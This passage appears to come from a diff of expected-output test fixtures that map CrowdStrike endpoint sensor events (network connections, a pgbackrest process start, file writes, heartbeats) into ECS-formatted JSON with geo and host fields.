"{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677523.901\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP4\":\"127.0.0.1\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364783686797112486\",\"RemotePort\":\"50626\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6MacV10\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677524048\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffff083845f68a7de3d95cb34361", + "os": { + "type": "macos" + } + }, + "message": "NetworkConnectIP6", + "network": { + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff083845f68a7de3d95cb34361", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364783686797112486" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14", + "0:0:0:0:0:0:0:0", + "127.0.0.1" + ] + }, + "source": { + "address": "0:0:0:0:0:0:0:0", + "ip": "0:0:0:0:0:0:0:0", + "port": 0 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:35.482Z", + "crowdstrike": { + "ConfigStateHash": "1284133626", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "MD5HashData": "29037cef466fa57f03bd1b2a092c47a4", + "RGID": "119", + "RUID": "114", + "SHA256HashData": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112", + "SVGID": "119", + "SVUID": "114", + "SessionProcessId": "38911772846634", + "SourceProcessId": "38911774195823", + "SourceThreadId": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-bad4-02690d039c6b", + "name": "ProcessRollup2LinV6" + }, + "device": { + "id": "ffffffffcf45409f87ed463b40c368ec" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:35.482Z", + "id": "ffffffff-1111-11eb-bad4-02690d039c6b|ffffffffcf45409f87ed463b40c368ec|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"ParentProcessId\":\"38911774195823\",\"SourceProcessId\":\"38911774195823\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"38911772846634\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1625677535.102\",\"SVUID\":\"114\",\"ParentBaseFileName\":\"bash\",\"id\":\"ffffffff-1111-11eb-bad4-02690d039c6b\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677535482\",\"ProcessGroupId\":\"9277112078\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"73249\",\"GID\":\"119\",\"ConfigStateHash\":\"1284133626\",\"SVGID\":\"119\",\"MD5HashData\":\"29037cef466fa57f03bd1b2a092c47a4\",\"SHA256HashData\":\"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112\",\"ConfigBuild\":\"1007.8.0010912.1\",\"UID\":\"114\",\"CommandLine\":\"pgbackrest --stanza\\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG\",\"TargetProcessId\":\"38911778380590\",\"ImageFileName\":\"/usr/bin/pgbackrest\",\"RGID\":\"119\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV6\",\"RUID\":\"114\",\"ProcessStartTime\":\"1625677535.068\",\"aid\":\"ffffffffcf45409f87ed463b40c368ec\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "group": { + "Ext": { + "real": { + "id": "119" + } + }, + "id": "119" + }, + "host": { + "id": "ffffffffcf45409f87ed463b40c368ec", + "os": { + "type": "linux" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffcf45409f87ed463b40c368ec", + "version": "1007.8.0010912.1" + }, + "process": { + "args": [ + "pgbackrest", + "--stanza=main", + "archive-get", + "000000020004D51F0000009F", + "pg_wal/RECOVERYXLOG" + ], + "args_count": 5, + "command_line": "pgbackrest --stanza=main archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG", + "end": "2021-07-07T17:05:35.102Z", + "entity_id": "38911778380590", + "executable": "/usr/bin/pgbackrest", + "group": { + "id": "119" + }, + "group_leader": { + "entity_id": "9277112078" + }, + "hash": { + "md5": "29037cef466fa57f03bd1b2a092c47a4", + "sha256": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112" + }, + "name": "pgbackrest", + "parent": { + "entity_id": "38911774195823", + "name": "bash" + }, + "pgid": 9277112078, + "pid": 73249, + "real_group": { + "id": "119" + }, + "real_user": { + "id": "114" + }, + "start": "2021-07-07T17:05:35.068Z", + "uptime": 0 + }, + "related": { + "hash": [ + "29037cef466fa57f03bd1b2a092c47a4", + "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112", + "1284133626" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "114" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "114" + } + }, + "group": { + "id": "119" + }, + "id": "114" + } + }, + { + "@timestamp": "2021-07-07T17:05:03.947Z", + "crowdstrike": { + "ConfigStateHash": "1701000200", + "ConnectionFlags": "0", + "ContextProcessId": "17307455014463", + "ContextTimeStamp": "2021-07-07T17:05:03.713Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "0:0:0:0:0:0:0:1" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5", + "name": "NetworkConnectIP6LinV5" + }, + "destination": { + "address": "0:0:0:0:0:0:0:1", + "ip": "0:0:0:0:0:0:0:1", + "port": 0 + }, + "device": { + "id": "ffffffff5a2e420c99f6b6d3a5d9de9b" + }, + "event": { + "action": "NetworkConnectIP6", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:03.947Z", + "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677503.713\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307455014463\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"41952\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677503947\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffff5a2e420c99f6b6d3a5d9de9b", + "os": { + "type": "linux" + } + }, + "message": "NetworkConnectIP6", + "network": { + "direction": "outbound", + "iana_number": "17", + "transport": "udp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b", + "version": "1007.8.0011308.1" + }, + "process": { + "entity_id": "17307455014463" + }, + "related": { + "hash": [ + "1701000200" + ], + "ip": [ + "67.43.156.14", + "0:0:0:0:0:0:0:1" + ] + }, + "source": { + "address": "0:0:0:0:0:0:0:1", + "ip": "0:0:0:0:0:0:0:1", + "port": 41952 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:21.081Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "365044948432500700", + "ContextTimeStamp": "2021-07-07T17:05:20.973Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f", + "name": "OoxmlFileWrittenMacV1" + }, + "device": { + "id": "ffffffff20bd481a98a3d1f6191047ff" + }, + "event": { + "action": "OoxmlFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:21.081Z", + "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f|ffffffff20bd481a98a3d1f6191047ff|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1625677520.973\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365044948432500700\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"0500000100000000000000000000000021b0260000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OoxmlFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8ad1-02cfdadef55f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff20bd481a98a3d1f6191047ff\",\"timestamp\":\"1625677521081\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44", + "inode": "0500000100000000000000000000000021b0260000000000", + "name": "432508", + "path": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508", + "type": "file" + }, + "host": { + "id": "ffffffff20bd481a98a3d1f6191047ff", + "os": { + "type": "macos" + } + }, + "message": "OoxmlFileWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff20bd481a98a3d1f6191047ff", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365044948432500700", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:30.841Z", + "crowdstrike": { + "ConfigStateHash": "3469235958", + "ConnectionFlags": "0", + "ContextProcessId": "12227094573885", + "ContextTimeStamp": "2021-07-07T17:05:30.308Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "67.43.156.14" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b727-028bbe41f38d", + "name": "NetworkConnectIP4LinV5" + }, + "destination": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 80 + }, + "device": { + "id": "ffffffffbd064538b214ab0dce8e82c3" + }, + "event": { + "action": "NetworkConnectIP4", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:30.841Z", + "id": "ffffffff-1111-11eb-b727-028bbe41f38d|ffffffffbd064538b214ab0dce8e82c3|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677530.308\",\"ConfigStateHash\":\"3469235958\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12227094573885\",\"RemotePort\":\"80\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59926\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4LinV5\",\"id\":\"ffffffff-1111-11eb-b727-028bbe41f38d\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffbd064538b214ab0dce8e82c3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677530841\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffffbd064538b214ab0dce8e82c3", + "os": { + "type": "linux" + } + }, + "message": "NetworkConnectIP4", + "network": { + "community_id": "1:XUmTKB40anItSVy47MPGAZ+mJWM=", + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffbd064538b214ab0dce8e82c3", + "version": "1007.8.0011308.1" + }, + "process": { + "entity_id": "12227094573885" + }, + "related": { + "hash": [ + "3469235958" + ], + "ip": [ + "67.43.156.13", + "67.43.156.14" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 59926 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:53.974Z", + "crowdstrike": { + "ChannelDiffStatus": "1", + "ChannelId": "12", + "ChannelVersion": "0", + "ChannelVersionRequired": "0", + "ConfigStateHash": "1156120155", + "ErrorCode": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d", + "name": "ChannelVersionRequiredLinV2" + }, + "device": { + "id": "ffffffff25b14d4aa96de99e24bad2fa" + }, + "event": { + "action": "ChannelVersionRequired", + "created": "2021-07-07T17:04:53.974Z", + "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d|ffffffff25b14d4aa96de99e24bad2fa|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1156120155\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"12\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV2\",\"id\":\"ffffffff-1111-11eb-b7e0-02332cdcc16d\",\"ErrorCode\":\"0\",\"aid\":\"ffffffff25b14d4aa96de99e24bad2fa\",\"timestamp\":\"1625677493974\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" + }, + "host": { + "id": "ffffffff25b14d4aa96de99e24bad2fa", + "os": { + "type": "linux" + } + }, + "message": "ChannelVersionRequired", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff25b14d4aa96de99e24bad2fa", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1156120155" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:21.218Z", + "crowdstrike": { + "ConfigStateHash": "1156120155", + "InterfaceAlias": "vethdeb0243", + "InterfaceIndex": 3736, + "InterfaceType": "1", + "LocalAddressIP6": [ + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ], + "PhysicalAddressLength": 6, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-92d2-0286f570f8e1", + "name": "LocalIpAddressIP6LinV1" + }, + "device": { + "id": "ffffffffc9114c1898e79604708955a6" + }, + "event": { + "action": "LocalIpAddressIP6", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:05:21.218Z", + "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffffc9114c1898e79604708955a6|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677520.686\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"6e-9e-e0-1f-6d-7d\",\"InterfaceAlias\":\"vethdeb0243\",\"InterfaceIndex\":\"3736\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP6LinV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffffc9114c1898e79604708955a6\",\"timestamp\":\"1625677521218\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffffc9114c1898e79604708955a6", + "os": { + "type": "linux" + } + }, + "message": "LocalIpAddressIP6", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffc9114c1898e79604708955a6", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1156120155" + ], + "ip": [ + "67.43.156.14", + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ] + }, + "source": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "mac": "6E-9E-E0-1F-6D-7D" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:40.455Z", + "crowdstrike": { + "ChannelDiffStatus": "1", + "ChannelId": "210", + "ChannelVersion": "0", + "ChannelVersionRequired": "0", + "ConfigStateHash": "1620585913", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "ErrorCode": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3", + "name": "ChannelVersionRequiredMacV2" + }, + "device": { + "id": "ffffffff2d7b4778a73b2cf58d327e42" + }, + "event": { + "action": "ChannelVersionRequired", + "created": "2021-07-07T17:04:40.455Z", + "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3|ffffffff2d7b4778a73b2cf58d327e42|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1620585913\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.13\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"210\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ChannelVersionRequiredMacV2\",\"id\":\"ffffffff-1111-11eb-8cc5-02c6fb049dd3\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff2d7b4778a73b2cf58d327e42\",\"timestamp\":\"1625677480455\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" + }, + "host": { + "id": "ffffffff2d7b4778a73b2cf58d327e42", + "os": { + "type": "macos" + } + }, + "message": "ChannelVersionRequired", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff2d7b4778a73b2cf58d327e42", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:40.292Z", + "crowdstrike": { + "ConfigIDBase": "65994753", + "ConfigIDBuild": "11611", + "ConfigIDPlatform": "8", + "ConfigStateHash": "1156120155", + "ConfigurationVersion": "10", + "NetworkContainmentState": "0", + "SensorStateBitMap": "2", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-993f-02b8dc387eb5", + "name": "SensorHeartbeatLinV4" + }, + "device": { + "id": "fffffffff6e146908cbf31d72b94b626" + }, + "event": { + "action": "SensorHeartbeat", + "category": [ + "package" + ], + "created": "2021-07-07T17:05:40.292Z", + "id": "ffffffff-1111-11eb-993f-02b8dc387eb5|fffffffff6e146908cbf31d72b94b626|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"1156120155\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ConfigurationVersion\":\"10\",\"name\":\"SensorHeartbeatLinV4\",\"ConfigIDPlatform\":\"8\",\"id\":\"ffffffff-1111-11eb-993f-02b8dc387eb5\",\"ConfigIDBuild\":\"11611\",\"aid\":\"fffffffff6e146908cbf31d72b94b626\",\"timestamp\":\"1625677540292\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "fffffffff6e146908cbf31d72b94b626", + "os": { + "type": "linux" + } + }, + "message": "SensorHeartbeat", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "fffffffff6e146908cbf31d72b94b626", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1156120155" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:28.717Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "364783686797112486", + "ContextTimeStamp": "2021-07-07T17:05:28.570Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-97c6-02fd02aca859", + "name": "JavaClassFileWrittenMacV1" + }, + "device": { + "id": "ffffffff083845f68a7de3d95cb34361" + }, + "event": { + "action": "JavaClassFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:28.717Z", + "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1625677528.570\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364783686797112486\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000986b480e00000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"JavaClassFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"timestamp\":\"1625677528717\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling", + "extension": "class", + "inode": "04000001000000000000000000000000986b480e00000000", + "name": "TeamsPlugin$apply$$inlined$configure$1.class", + "path": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class", + "type": "file" + }, + "host": { + "id": "ffffffff083845f68a7de3d95cb34361", + "os": { + "type": "macos" + } + }, + "message": "JavaClassFileWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff083845f68a7de3d95cb34361", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364783686797112486", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:12.892Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ConnectionFlags": "0", + "ContextProcessId": "364796317497854624", + "ContextTimeStamp": "2021-07-07T17:05:12.700Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "0.0.0.0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9c94-0222a21bbb27", + "name": "NetworkConnectIP4MacV10" + }, + "destination": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 443 + }, + "device": { + "id": "ffffffff96f142f6b2475f3c584ddd80" + }, + "event": { + "action": "NetworkConnectIP4", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:12.892Z", + "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff96f142f6b2475f3c584ddd80|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677512.700\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364796317497854624\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4MacV10\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff96f142f6b2475f3c584ddd80\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677512892\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffff96f142f6b2475f3c584ddd80", + "os": { + "type": "macos" + } + }, + "message": "NetworkConnectIP4", + "network": { + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff96f142f6b2475f3c584ddd80", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364796317497854624" + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14", + "0.0.0.0" + ] + }, + "source": { + "address": "0.0.0.0", + 